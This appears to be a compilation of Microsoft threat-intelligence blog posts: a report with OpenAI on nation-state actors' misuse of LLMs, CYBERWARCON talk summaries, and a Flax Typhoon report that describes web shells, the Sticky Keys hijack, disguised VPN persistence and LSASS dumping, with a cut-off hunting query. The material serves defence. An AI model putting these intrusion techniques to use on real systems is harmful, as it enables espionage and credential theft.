The objective of Microsoft’s partnership with OpenAI, including the release of this research, is to ensure the safe and responsible use of AI technologies like ChatGPT, upholding the highest standards of ethical application to protect the community from potential misuse. As part of this commitment, we have taken measures to disrupt assets and accounts associated with threat actors, improve the protection of OpenAI LLM technology and users from attack or abuse, and shape the guardrails and safety mechanisms around our models. In addition, we are also deeply committed to using generative AI to disrupt threat actors and leverage the power of new tools, including Microsoft Copilot for Security, to elevate defenders everywhere.

A principled approach to detecting and blocking threat actors

The progress of technology creates a demand for strong cybersecurity and safety measures. For example, the White House’s Executive Order on AI requires rigorous safety testing and government supervision for AI systems that have major impacts on national and economic security or public health and safety. Our actions enhancing the safeguards of our AI models and partnering with our ecosystem on the safe creation, implementation, and use of these models align with the Executive Order’s request for comprehensive AI safety and security standards.

In line with Microsoft’s leadership across AI and cybersecurity, today we are announcing principles shaping Microsoft’s policy and actions mitigating the risks associated with the use of our AI tools and APIs by nation-state advanced persistent threats (APTs), advanced persistent manipulators (APMs), and cybercriminal syndicates we track.

These principles include:   

• Identification and action against malicious threat actors’ use: Upon detection of the use of any Microsoft AI application programming interfaces (APIs), services, or systems by an identified malicious threat actor, including nation-state APT or APM, or the cybercrime syndicates we track, Microsoft will take appropriate action to disrupt their activities, such as disabling the accounts used, terminating services, or limiting access to resources.           

• Notification to other AI service providers: When we detect a threat actor’s use of another service provider’s AI, AI APIs, services, and/or systems, Microsoft will promptly notify the service provider and share relevant data. This enables the service provider to independently verify our findings and take action in accordance with their own policies.

• Collaboration with other stakeholders: Microsoft will collaborate with other stakeholders to regularly exchange information about detected threat actors’ use of AI. This collaboration aims to promote collective, consistent, and effective responses to ecosystem-wide risks.

• Transparency: As part of our ongoing efforts to advance responsible use of AI, Microsoft will inform the public and stakeholders about actions taken under these threat actor principles, including the nature and extent of threat actors’ use of AI detected within our systems and the measures taken against them, as appropriate.

Microsoft remains committed to responsible AI innovation, prioritizing the safety and integrity of our technologies with respect for human rights and ethical standards. These principles announced today build on Microsoft’s Responsible AI practices, our voluntary commitments to advance responsible AI innovation and the Azure OpenAI Code of Conduct. We are following these principles as part of our broader commitments to strengthening international law and norms and to advance the goals of the Bletchley Declaration endorsed by 29 countries.

Microsoft and OpenAI’s complementary defenses protect AI platforms

Because Microsoft and OpenAI’s partnership extends to security, the companies can take action when known and emerging threat actors surface. Microsoft Threat Intelligence tracks more than 300 unique threat actors, including 160 nation-state actors, 50 ransomware groups, and many others. These adversaries employ various digital identities and attack infrastructures. Microsoft’s experts and automated systems continually analyze and correlate these attributes, uncovering attackers’ efforts to evade detection or expand their capabilities by leveraging new technologies. Consistent with preventing threat actors’ actions across our technologies and working closely with partners, Microsoft continues to study threat actors’ use of AI and LLMs, partner with OpenAI to monitor attack activity, and apply what we learn to continually improve defenses. This blog provides an overview of observed activities collected from known threat actor infrastructure as identified by Microsoft Threat Intelligence, then shared with OpenAI to identify potential malicious use or abuse of their platform and protect our mutual customers from future threats or harm.

Recognizing the rapid growth of AI and emergent use of LLMs in cyber operations, we continue to work with MITRE to integrate these LLM-themed tactics, techniques, and procedures (TTPs) into the MITRE ATT&CK® framework or MITRE ATLAS™ (Adversarial Threat Landscape for Artificial-Intelligence Systems) knowledgebase. This strategic expansion reflects a commitment to not only track and neutralize threats, but also to pioneer the development of countermeasures in the evolving landscape of AI-powered cyber operations. A full list of the LLM-themed TTPs, which include those we identified during our investigations, is summarized in the appendix.

Summary of Microsoft and OpenAI’s findings and threat intelligence

The threat ecosystem over the last several years has revealed a consistent theme of threat actors following trends in technology in parallel with their defender counterparts. Threat actors, like defenders, are looking at AI, including LLMs, to enhance their productivity and take advantage of accessible platforms that could advance their objectives and attack techniques. Cybercrime groups, nation-state threat actors, and other adversaries are exploring and testing different AI technologies as they emerge, in an attempt to understand potential value to their operations and the security controls they may need to circumvent. On the defender side, hardening these same security controls from attacks and implementing equally sophisticated monitoring that anticipates and blocks malicious activity is vital.

While different threat actors’ motives and complexity vary, they have common tasks to perform in the course of targeting and attacks. These include reconnaissance, such as learning about potential victims’ industries, locations, and relationships; help with coding, including improving things like software scripts and malware development; and assistance with learning and using native languages. Language support is a natural feature of LLMs and is attractive for threat actors with continuous focus on social engineering and other techniques relying on false, deceptive communications tailored to their targets’ jobs, professional networks, and other relationships.

Importantly, our research with OpenAI has not identified significant attacks employing the LLMs we monitor closely. At the same time, we feel this is important research to publish to expose early-stage, incremental moves that we observe well-known threat actors attempting, and share information on how we are blocking and countering them with the defender community.

While attackers will remain interested in AI and probe technologies’ current capabilities and security controls, it’s important to keep these risks in context. As always, hygiene practices such as multifactor authentication (MFA) and Zero Trust defenses are essential because attackers may use AI-based tools to improve their existing cyberattacks that rely on social engineering and finding unsecured devices and accounts.

The threat actors profiled below are a sample of observed activity we believe best represents the TTPs the industry will need to better track using MITRE ATT&CK® framework or MITRE ATLAS™ knowledgebase updates.

Forest Blizzard 

Forest Blizzard (STRONTIUM) is a Russian military intelligence actor linked to GRU Unit 26165, who has targeted victims of both tactical and strategic interest to the Russian government. Their activities span across a variety of sectors including defense, transportation/logistics, government, energy, non-governmental organizations (NGO), and information technology. Forest Blizzard has been extremely active in targeting organizations in and related to Russia’s war in Ukraine throughout the duration of the conflict, and Microsoft assesses that Forest Blizzard operations play a significant supporting role to Russia’s foreign policy and military objectives both in Ukraine and in the broader international community. Forest Blizzard overlaps with the threat actor tracked by other researchers as APT28 and Fancy Bear.

Forest Blizzard’s use of LLMs has involved research into various satellite and radar technologies that may pertain to conventional military operations in Ukraine, as well as generic research aimed at supporting their cyber operations. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-informed reconnaissance: Interacting with LLMs to understand satellite communication protocols, radar imaging technologies, and specific technical parameters. These queries suggest an attempt to acquire in-depth knowledge of satellite capabilities.
• LLM-enhanced scripting techniques: Seeking assistance in basic scripting tasks, including file manipulation, data selection, regular expressions, and multiprocessing, to potentially automate or optimize technical operations.

Microsoft observed engagement from Forest Blizzard that were representative of an adversary exploring the use cases of a new technology. All accounts and assets associated with Forest Blizzard have been disabled.

Emerald Sleet

Emerald Sleet (THALLIUM) is a North Korean threat actor that has remained highly active throughout 2023. Their recent operations relied on spear-phishing emails to compromise and gather intelligence from prominent individuals with expertise on North Korea. Microsoft observed Emerald Sleet impersonating reputable academic institutions and NGOs to lure victims into replying with expert insights and commentary about foreign policies related to North Korea. Emerald Sleet overlaps with threat actors tracked by other researchers as Kimsuky and Velvet Chollima.

Emerald Sleet’s use of LLMs has been in support of this activity and involved research into think tanks and experts on North Korea, as well as the generation of content likely to be used in spear-phishing campaigns. Emerald Sleet also interacted with LLMs to understand publicly known vulnerabilities, to troubleshoot technical issues, and for assistance with using various web technologies. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-assisted vulnerability research: Interacting with LLMs to better understand publicly reported vulnerabilities, such as the CVE-2022-30190 Microsoft Support Diagnostic Tool (MSDT) vulnerability (known as “Follina”).
• LLM-enhanced scripting techniques: Using LLMs for basic scripting tasks such as programmatically identifying certain user events on a system and seeking assistance with troubleshooting and understanding various web technologies.
• LLM-supported social engineering: Using LLMs for assistance with the drafting and generation of content that would likely be for use in spear-phishing campaigns against individuals with regional expertise.
• LLM-informed reconnaissance: Interacting with LLMs to identify think tanks, government organizations, or experts on North Korea that have a focus on defense issues or North Korea’s nuclear weapon’s program.

All accounts and assets associated with Emerald Sleet have been disabled.

Crimson Sandstorm

Crimson Sandstorm (CURIUM) is an Iranian threat actor assessed to be connected to the Islamic Revolutionary Guard Corps (IRGC). Active since at least 2017, Crimson Sandstorm has targeted multiple sectors, including defense, maritime shipping, transportation, healthcare, and technology. These operations have frequently relied on watering hole attacks and social engineering to deliver custom .NET malware. Prior research also identified custom Crimson Sandstorm malware using email-based command-and-control (C2) channels. Crimson Sandstorm overlaps with the threat actor tracked by other researchers as Tortoiseshell, Imperial Kitten, and Yellow Liderc.

The use of LLMs by Crimson Sandstorm has reflected the broader behaviors that the security community has observed from this threat actor. Interactions have involved requests for support around social engineering, assistance in troubleshooting errors, .NET development, and ways in which an attacker might evade detection when on a compromised machine. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-supported social engineering: Interacting with LLMs to generate various phishing emails, including one pretending to come from an international development agency and another attempting to lure prominent feminists to an attacker-built website on feminism. 
• LLM-enhanced scripting techniques: Using LLMs to generate code snippets that appear intended to support app and web development, interactions with remote servers, web scraping, executing tasks when users sign in, and sending information from a system via email.
• LLM-enhanced anomaly detection evasion: Attempting to use LLMs for assistance in developing code to evade detection, to learn how to disable antivirus via registry or Windows policies, and to delete files in a directory after an application has been closed.

All accounts and assets associated with Crimson Sandstorm have been disabled.

Charcoal Typhoon

Charcoal Typhoon (CHROMIUM) is a Chinese state-affiliated threat actor with a broad operational scope. They are known for targeting sectors that include government, higher education, communications infrastructure, oil & gas, and information technology. Their activities have predominantly focused on entities within Taiwan, Thailand, Mongolia, Malaysia, France, and Nepal, with observed interests extending to institutions and individuals globally who oppose China’s policies. Charcoal Typhoon overlaps with the threat actor tracked by other researchers as Aquatic Panda, ControlX, RedHotel, and BRONZE UNIVERSITY.

In recent operations, Charcoal Typhoon has been observed interacting with LLMs in ways that suggest a limited exploration of how LLMs can augment their technical operations. This has consisted of using LLMs to support tooling development, scripting, understanding various commodity cybersecurity tools, and for generating content that could be used to social engineer targets. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-informed reconnaissance: Engaging LLMs to research and understand specific technologies, platforms, and vulnerabilities, indicative of preliminary information-gathering stages.
• LLM-enhanced scripting techniques: Utilizing LLMs to generate and refine scripts, potentially to streamline and automate complex cyber tasks and operations.
• LLM-supported social engineering: Leveraging LLMs for assistance with translations and communication, likely to establish connections or manipulate targets.
• LLM-refined operational command techniques: Utilizing LLMs for advanced commands, deeper system access, and control representative of post-compromise behavior.

All associated accounts and assets of Charcoal Typhoon have been disabled, reaffirming our commitment to safeguarding against the misuse of AI technologies.

Salmon Typhoon

Salmon Typhoon (SODIUM) is a sophisticated Chinese state-affiliated threat actor with a history of targeting US defense contractors, government agencies, and entities within the cryptographic technology sector. This threat actor has demonstrated its capabilities through the deployment of malware, such as Win32/Wkysol, to maintain remote access to compromised systems. With over a decade of operations marked by intermittent periods of dormancy and resurgence, Salmon Typhoon has recently shown renewed activity. Salmon Typhoon overlaps with the threat actor tracked by other researchers as APT4 and Maverick Panda.

Notably, Salmon Typhoon’s interactions with LLMs throughout 2023 appear exploratory and suggest that this threat actor is evaluating the effectiveness of LLMs in sourcing information on potentially sensitive topics, high profile individuals, regional geopolitics, US influence, and internal affairs. This tentative engagement with LLMs could reflect both a broadening of their intelligence-gathering toolkit and an experimental phase in assessing the capabilities of emerging technologies.

Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-informed reconnaissance: Engaging LLMs for queries on a diverse array of subjects, such as global intelligence agencies, domestic concerns, notable individuals, cybersecurity matters, topics of strategic interest, and various threat actors. These interactions mirror the use of a search engine for public domain research.
• LLM-enhanced scripting techniques: Using LLMs to identify and resolve coding errors. Requests for support in developing code with potential malicious intent were observed by Microsoft, and it was noted that the model adhered to established ethical guidelines, declining to provide such assistance.
• LLM-refined operational command techniques: Demonstrating an interest in specific file types and concealment tactics within operating systems, indicative of an effort to refine operational command execution.
• LLM-aided technical translation and explanation: Leveraging LLMs for the translation of computing terms and technical papers.

Salmon Typhoon’s engagement with LLMs aligns with patterns observed by Microsoft, reflecting traditional behaviors in a new technological arena. In response, all accounts and assets associated with Salmon Typhoon have been disabled.

In closing, AI technologies will continue to evolve and be studied by various threat actors. Microsoft will continue to track threat actors and malicious activity misusing LLMs, and work with OpenAI and other partners to share intelligence, improve protections for customers and aid the broader security community.

Appendix: LLM-themed TTPs

Using insights from our analysis above, as well as other potential misuse of AI, we’re sharing the below list of LLM-themed TTPs that we map and classify to the MITRE ATT&CK® framework or MITRE ATLAS™ knowledgebase to equip the community with a common taxonomy to collectively track malicious use of LLMs and create countermeasures against:

• LLM-informed reconnaissance: Employing LLMs to gather actionable intelligence on technologies and potential vulnerabilities.
• LLM-enhanced scripting techniques: Utilizing LLMs to generate or refine scripts that could be used in cyberattacks, or for basic scripting tasks such as programmatically identifying certain user events on a system and assistance with troubleshooting and understanding various web technologies.
• LLM-aided development: Utilizing LLMs in the development lifecycle of tools and programs, including those with malicious intent, such as malware.
• LLM-supported social engineering: Leveraging LLMs for assistance with translations and communication, likely to establish connections or manipulate targets.
• LLM-assisted vulnerability research: Using LLMs to understand and identify potential vulnerabilities in software and systems, which could be targeted for exploitation.
• LLM-optimized payload crafting: Using LLMs to assist in creating and refining payloads for deployment in cyberattacks.
• LLM-enhanced anomaly detection evasion: Leveraging LLMs to develop methods that help malicious activities blend in with normal behavior or traffic to evade detection systems.
• LLM-directed security feature bypass: Using LLMs to find ways to circumvent security features, such as two-factor authentication, CAPTCHA, or other access controls.
• LLM-advised resource development: Using LLMs in tool development, tool modifications, and strategic operational planning.

Learn more

Read the sixth edition of Cyber Signals, spotlighting how we are protecting AI platforms from emerging threats related to nation-state cyberthreat actors: Navigating cyberthreats and strengthening defenses in the era of AI.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Staying ahead of threat actors in the age of AI appeared first on Microsoft Security Blog.

Reactive and opportunistic: Iran’s role in the Israel-Hamas war

This presentation compares and contrasts activity attributed to Iranian groups before and after the October 7, 2023 start of the Israel-Hamas war. It highlights a number of instances where Iranian operators leveraged existing access, infrastructure, and tooling, ostensibly to meet new objectives.

With the physical conflict approximately one month old, this analysis offers early conclusions in a rapidly evolving space, specific to observed Iranian actors, such as those linked to Iran’s Ministry of Intelligence and Security (MOIS) and Islamic Revolutionary Guard Corps (IRGC). While the presentation details attack techniques observed in specific regions, Microsoft is sharing this information to inform and help protect wider organizations around the world facing attack methods similar to those used by Iranian operators, such as social engineering methods for deceiving victims, and exploitation of vulnerable devices and sign-in credentials.

First, Microsoft does not see any evidence suggesting Iranian groups (IRGC and MOIS) had coordinated, pre-planned cyberattacks aligned to Hamas’ plans and the start of the Israel-Hamas war on October 7​. Although media and other public accounts may suggest that Iran played an active role in planning the October 7 physical attacks on Israel, Microsoft data tells a different part of the story.

Observations from Microsoft telemetry suggest that, at least in the cyber domain, Iranian operators have largely been reactive since the war began, exploiting opportunities to try and take advantage of events on the ground as they unfold​. It took 11 days from the start of the ground conflict before Microsoft saw Iran enter the war in the cyber domain. On October 18, 2023 Microsoft observed the first of two separate destructive attacks targeting infrastructure in Israel. While online personas controlled by Iran exaggerated the claims of impact from these attacks, the data suggests that both attacks were likely opportunistic in nature. Specifically, operators leveraged existing access or acquired access to the first available target. Further, the data shows that, in the case of a ransomware attack, Iranian actors’ claims of impact and precision targeting were almost certainly fabricated.

Second, Microsoft observes Iranian operators continuing to employ their tried-and-true tactics, notably exaggerating the success of their computer network attacks and amplifying those claims and activities via a well-integrated deployment of information operations. This is essentially creating online propaganda seeking to inflate the notoriety and impact of opportunistic attacks, in an effort to increase their effects. For example, Microsoft observed Iranian actors compromising connected webcams and framing the activity as more strategic, claiming they targeted and successfully compromised cameras at a specific Israeli military installation. In reality, the compromised cameras were located at scattered sites outside any one defined region. This suggests that despite Iran actors’ strategic claims, this camera example was ultimately a case of adversaries continuing to opportunistically discover and compromise vulnerable connected devices and try to reframe this routine work as more impactful in the context of the current conflict.

Third, Microsoft recognizes that, as more physical conflicts around the world spur cyber operations of varying levels of sophistication, this is a rapidly evolving space requiring close monitoring to assess potential escalations and impact on wider industries, regions, and customers. Microsoft Threat Intelligence anticipates Iranian operators will move from a reactive posture to more proactive activities the longer the current war plays out and continue to evolve their tactics in pursuit of their objectives.

The digital reality: A surge on critical infrastructure

In this presentation, Microsoft Threat Intelligence experts walk the audience through the timeline of Microsoft’s discovery of Volt Typhoon, a threat actor linked to China, and the adversary group’s activity observed against critical infrastructure and key resources in the U.S. and its territories, such as Guam. The presentation highlights some of the specific techniques, tactics, and procedures (TTPs) Volt Typhoon uses to carry out its operations. The talk features insights on how Microsoft tracked the threat actor and assessed that Volt Typhoon’s activity was consistent with laying the groundwork for use in potential future conflict situations. These insights show the backstory of threat intelligence collection and analysis, leading to Microsoft’s May 2023 blog on Volt Typhoon, sharing the actor’s reach and capabilities with the community.

At CYBERWARCON, Microsoft provides an update on Volt Typhoon activity, highlighting shifts in TTPs and targeting since Microsoft released the May blog post. Specifically, Microsoft sees Volt Typhoon trying to improve its operational security and stealthily attempting to return to previously compromised victims. The threat actor is also targeting university environments, for example, in addition to previously targeted industries. In this presentation, Microsoft experts compare their Volt Typhoon analysis with third-party research and studies of China’s military doctrine and the current geopolitical climate. This adds additional context for the security community on possible motivations behind the threat actor’s current and future operations.

Microsoft also describes gaps and limitations in tracking Volt Typhoon’s activity and how the security community can work together to develop strategies to mitigate future threats from this threat actor.

“You compile me. You had me at RomCom.” – When cybercrime met espionage

For many years, the security community has watched various Russian state-aligned actors intersect with cybercrime ecosystems to varying degrees and with different purposes. At CYBERWARCON 2022, Microsoft discussed the development of a never-before-seen “ransomware” strain known as Prestige by Seashell Blizzard (IRIDIUM), a group reported to be comprised of Russian military intelligence officers. The cyberattack, disguised as a new “ransomware” strain, was meant to cause disruption while providing a thin veneer of plausible deniability for the sponsoring organization.

This year at CYBERWARCON, Microsoft experts profile a different threat actor, Storm-0978, which emerged in the early 2022 as credibly conducting both cybercrime operations, as well as espionage/enablement operations benefiting Russia’s military and other geopolitical interests, with possible ties to Russian security services. The duality of this Storm-0978 adversary’s activity intersecting with both crime and espionage leads to questions Microsoft are engaging conference attendees in exploring. Is Storm-0978 a cybercrime group conducting espionage, or a government-sponsored espionage group conducting cybercrime? Why are we seeing the confluence of what historically have been separate crime and geopolitical objectives? Is this duality in some way a reflection of Russia becoming limited in its ability to scale wartime cyber operations? Is Russia activating cybercriminal elements for operations in order to provide a level of plausible deniability for future destructive attacks? The Ukraine war has illustrated that Russia has likely had to activate other capabilities on the periphery. Storm-0978 is one probable example where it’s clear that other elements have been co-opted to achieve objectives of both a wartime environment and strategic landscape either to achieve effects-led operations or prepositioning.

Microsoft’s extensive insight on the ransomware economy and other cybercrime trends, coupled with experience tracking Russian nation-state adversaries, allows for presenting this profile of the Storm-0978 actor at CYBERWARCON, which Microsoft hopes will be further enriched and analyzed by the wider security community’s experiences, data sets and conclusions.  

A LinkedIn update on combating fake accounts

This presentation focuses on what LinkedIn’s Threat Prevention and Defense team has learned from its investigations of cyber mercenaries, also referred to as private-sector offensive actors (PSOAs), on the platform. The focus of this presentation is on Black Cube (Microsoft tracks this actor as Blue Tsunami), a well-known mercenary actor, and what we’ve learned about how they attempt to operate on LinkedIn. The discussion includes insights on how Black Cube has previously leveraged honeypot profiles, fake jobs, and fake companies to engage in reconnaissance or human intelligence (HUMINT) operations against targets with access to organizations of interest and/or concern to Black Cube’s clients.

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on X at https://twitter.com/MsftSecIntel.

The post Microsoft shares threat intelligence at CYBERWARCON 2023 appeared first on Microsoft Security Blog.

Summary

Microsoft has identified a nation-state activity group tracked as Flax Typhoon, based in China, that is targeting dozens of organizations in Taiwan with the likely intention of performing espionage. Flax Typhoon gains and maintains long-term access to Taiwanese organizations’ networks with minimal use of malware, relying on tools built into the operating system, along with some normally benign software to quietly remain in these networks. Microsoft has not observed Flax Typhoon using this access to conduct additional actions. This blog aims to raise awareness of the techniques used by this threat actor and inform better defenses to protect against future attacks.

Microsoft has observed a distinctive pattern of malicious activity almost exclusively affecting organizations in Taiwan using techniques that could be easily reused in other operations outside the region and would benefit from broader industry visibility. Microsoft attributes this campaign to Flax Typhoon (overlaps with ETHEREAL PANDA), a nation-state actor based out of China. Flax Typhoon’s observed behavior suggests that the threat actor intends to perform espionage and maintain access to organizations across a broad range of industries for as long as possible. However, Microsoft has not observed Flax Typhoon act on final objectives in this campaign. Microsoft is choosing to highlight this Flax Typhoon activity at this time because of our significant concern around the potential for further impact to our customers. Although our visibility into these threats has given us the ability to deploy detections to our customers, the lack of visibility into other parts of the actor’s activity compelled us to drive broader community awareness to further investigations and protections across the security ecosystem.

In this blog post, we share information on Flax Typhoon, the current campaign targeting Taiwan, and the actor’s tactics for achieving and maintaining unauthorized access to target networks. Because this activity relies on valid accounts and living-off-the-land binaries (LOLBins), detecting and mitigating this attack could be challenging. Compromised accounts must be closed or changed. Compromised systems must be isolated and investigated. At the end of this blog post, we share more mitigation steps and best practices, as well as provide details on how Microsoft 365 Defender detects malicious and suspicious activity to protect organizations from such stealthy attacks.

Who is Flax Typhoon?

Flax Typhoon has been active since mid-2021 and has targeted government agencies and education, critical manufacturing, and information technology organizations in Taiwan. Some victims have also been observed elsewhere in Southeast Asia, as well as in North America and Africa. Flax Typhoon focuses on persistence, lateral movement, and credential access. As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments.

Flax Typhoon is known to use the China Chopper web shell, Metasploit, Juicy Potato privilege escalation tool, Mimikatz, and SoftEther virtual private network (VPN) client. However, Flax Typhoon primarily relies on living-off-the-land techniques and hands-on-keyboard activity. Flax Typhoon achieves initial access by exploiting known vulnerabilities in public-facing servers and deploying web shells like China Chopper. Following initial access, Flax Typhoon uses command-line tools to first establish persistent access over the remote desktop protocol, then deploy a VPN connection to actor-controlled network infrastructure, and finally collect credentials from compromised systems. Flax Typhoon further uses this VPN access to scan for vulnerabilities on targeted systems and organizations from the compromised systems.

Analysis of current campaign

Initial access

Flax Typhoon achieves initial access by exploiting known vulnerabilities in public-facing servers. The services targeted vary, but include VPN, web, Java, and SQL applications. The payload in these exploits is a web shell, such as China Chopper, which allows for remote code execution on the compromised server.

Privilege escalation

In cases where the process compromised via web shell does not have local administrator privileges, Flax Typhoon downloads and runs a piece of malware that exploits one or more known vulnerabilities to obtain local system privileges. Microsoft has observed the actor use Juicy Potato, BadPotato, and other open-source tools to exploit these vulnerabilities.

Persistence

Once Flax Typhoon can access Windows Management Instrumentation command-line (WMIC), PowerShell, or the Windows Terminal with local administrator privileges, the actor establishes a long-term method of accessing the compromised system using the remote desktop protocol (RDP). To accomplish this, the actor disables network-level authentication (NLA) for RDP, replaces the Sticky Keys binary, and establishes a VPN connection.

When using RDP, NLA requires the connecting user to authenticate to the remote system before a full remote session is established and the Windows sign-in screen is displayed. When NLA is disabled, any user attempting to access the remote system can interact with the Windows sign-in screen before authenticating, which can expose the remote system to malicious actions by the connecting user. Flax Typhoon changes a registry key to disable NLA, allowing them to access the Windows sign-in screen without authenticating, whereupon the actor will use the Sticky Keys shortcut.

Sticky Keys is an accessibility feature in Windows that allows users to press modifier keys (such as Shift, Ctrl, Alt) one at a time instead of simultaneously. It includes a shortcut where the user can press the Shift key five times in succession to launch sethc.exe, the program that manages Sticky Keys. The user can invoke this shortcut at any time, including at the sign-in screen. To take advantage of this feature, Flax Typhoon changes a registry key that specifies the location of sethc.exe. The actor adds arguments that cause the Windows Task Manager to be launched as a debugger for sethc.exe. As a result, when the actor uses the Sticky Keys shortcut on the Windows sign-in screen, Task Manager launches with local system privileges.

At this stage, Flax Typhoon can access the compromised system via RDP, use the Sticky Keys shortcut at the sign-in screen, and access Task Manager with local system privileges. From there, the actor can launch the Terminal, create memory dumps, and take nearly any other action on the compromised system. The only issue the actor faces with this persistence method is that RDP is most likely running on an internal-facing network interface. Flax Typhoon’s solution is to install a legitimate VPN bridge to automatically connect to actor-controlled network infrastructure.

Command and control

To deploy the VPN connection, Flax Typhoon downloads an executable file for SoftEther VPN from their network infrastructure. The actor downloads the tool using one of several LOLBins, such as the PowerShell Invoke-WebRequest utility, certutil, or bitsadmin. Flax Typhoon then uses the Service Control Manager (SCM) to create a Windows service that launches the VPN connection automatically when the system starts. This could allow the actor to monitor the availability of the compromised system and establish an RDP connection.

Flax Typhoon takes several precautions with their VPN connection to make it harder to identify. First, the actor uses a legitimate VPN application that could be found in enterprise environments. As a result, the file itself is almost certain to go undetected by antivirus products. Second, the actor almost always renames the executable file from vpnbridge.exe to conhost.exe or dllhost.exe. These names imitate the legitimate Windows components Console Window Host Process and Component Object Model Surrogate respectively. Third, the actor uses SoftEther’s VPN-over-HTTPS operation mode, which uses protocol tunneling to encapsulate Ethernet packets into compliant HTTPS packets and transmit them to TCP port 443. This makes the VPN connection very difficult to differentiate from legitimate HTTPS traffic, which most network security appliances would not block.

In cases where Flax Typhoon needs to move laterally to access other systems on the compromised network, the actor uses LOLBins, including Windows Remote Management (WinRM) and WMIC.

Microsoft has observed Flax Typhoon routing network traffic to other targeted systems through the SoftEther VPN bridge installed on compromised systems. This network traffic includes network scanning, vulnerability scanning, and exploitation attempts.

Credential access

Once Flax Typhoon becomes established on the target system, Microsoft observes the actor conducting credential access activities using common tools and techniques. Most commonly, Flax Typhoon targets the Local Security Authority Subsystem Service (LSASS) process memory and Security Account Manager (SAM) registry hive. Both stores contain hashed passwords for users signed into the local system. Flax Typhoon frequently deploys Mimikatz, a publicly available malware that can automatically dump these stores when improperly secured. The resulting password hashes can be cracked offline or used in pass-the-hash (PtH) attacks to access other resources on the compromised network.

Flax Typhoon also enumerates restore points used by System Restore. Restore points contain data about the Windows operating system that the system owner can use to revert changes to the system if it becomes inoperable, rather than a backup of user data. Flax Typhoon could use this information to better understand the compromised system or as a template for removing indicators of malicious activity.

This pattern of activity is unusual in that minimal activity occurs after the actor establishes persistence. Flax Typhoon’s discovery and credential access activities do not appear to enable further data-collection and exfiltration objectives. While the actor’s observed behavior suggests Flax Typhoon intents to perform espionage and maintain their network footholds, Microsoft has not observed Flax Typhoon act on final objectives in this campaign.

Mitigation and protection guidance

Defending against techniques used by Flax Typhoon begins with vulnerability and patch management, particularly on systems and services exposed to the public internet. The credential access techniques used can also be mitigated with proper system hardening.

What to do now if you’re affected

Affected organizations need to assess the scale of Flax Typhoon activity in their network, remove malicious tools and C2 infrastructure, and check logs for signs of compromised accounts that may have been used for malicious purposes.

Investigating Suspected compromised accounts or affected systems

• Find LSASS and SAM dumping to identify affected accounts.
• Examine the activity of compromised accounts for any malicious actions or exposed data.
• Close or change credentials for all compromised accounts. Depending on the level of activity, many accounts may be affected.
• Affected systems should be isolated and forensically examined for artifacts of malicious activity.
• Because Flax Typhoon alters the configuration of the operating system to produce malicious behavior, affected systems may need to be decommissioned or restored to a known-good configuration.

Defending against Flax Typhoon attacks

• Keep public-facing servers up to date to defend against malicious activity. As prime targets for threat actors, public-facing servers need additional monitoring and security. User input validation, file integrity monitoring, behavioral monitoring, and web application firewalls can all help to better secure these servers.
• Monitor the Windows registry for unauthorized changes. The Audit Registry feature allows administrators to generate events when specific registry keys are modified. Such policies can detect registry changes that undermine the security of a system, like those made by Flax Typhoon.
• Use network monitoring and intrusion detection systems to identify unusual or unauthorized network traffic. If an organization does not use RDP for a specific business purpose, any RDP traffic should be considered unauthorized and generate alerts.
• Ensure that Windows systems are kept updated with the latest security patches, including MS16-075.
• Mitigate the risk of compromised valid accounts by enforcing strong multifactor authentication (MFA) policies using hardware security keys or Microsoft Authenticator. Passwordless sign-in methods (for example, Windows Hello, FIDO2 security keys, or Microsoft Authenticator), password expiration rules, and deactivating unused accounts can also help mitigate risk from this access method.
• Randomize Local Administrator passwords with a tool like Local Administrator Password Solution (LAPS) to prevent lateral movement using local accounts with shared passwords.
• Reduce the attack surface. Microsoft customers can turn on the following attack surface reduction rules to block or audit some observed activity associated with this threat:
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe).
  • Block process creations originating from PSExec and WMI commands. Some organizations may experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI.
• Harden the LSASS process by enabling Protective Process Light (PPL) for LSASS on Windows 11 devices. New, enterprise-joined Windows 11 (22H2 update) installs have this feature enabled by default. In addition, enable Windows Defender Credential Guard, which is also turned on by default for organizations using the Enterprise edition of Windows 11, as well as Memory integrity (also referred to as hypervisor-protected code integrity or HVCI) for stronger protections on Windows.
• Set the WDigest UseLogonCredential registry value via Group Policy Object to reduce the risk of successful LSASS process memory dumping.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools, techniques, and behaviors such as those exhibited by Flax Typhoon.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat, or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-compromise.

Detection details and hunting queries

Microsoft 365 Defender detections

Microsoft 365 Defender is becoming Microsoft Defender XDR. Learn more.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• HackTool:Win32/Mimikatz
• Trojan:Win32/Swrort
• HackTool:Win32/Badcastle
• Behavior:Win32/CobaltStrike
• Backdoor:ASP/Chopper

Microsoft Defender for Endpoint

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can also be triggered by unrelated threat activity.

• Malicious credential theft tool execution detected
• Suspicious access to LSASS service
• Use of LOLBin to run malicious code
• System file masquerade

Hunting queries

Microsoft 365 Defender

Microsoft 365 Defender customers can run the following queries to find related activity in their networks:

Network activity with Flax Typhoon network infrastructure

let ipAddressTimes = datatable(ip: string, startDate: datetime, endDate: datetime)
[
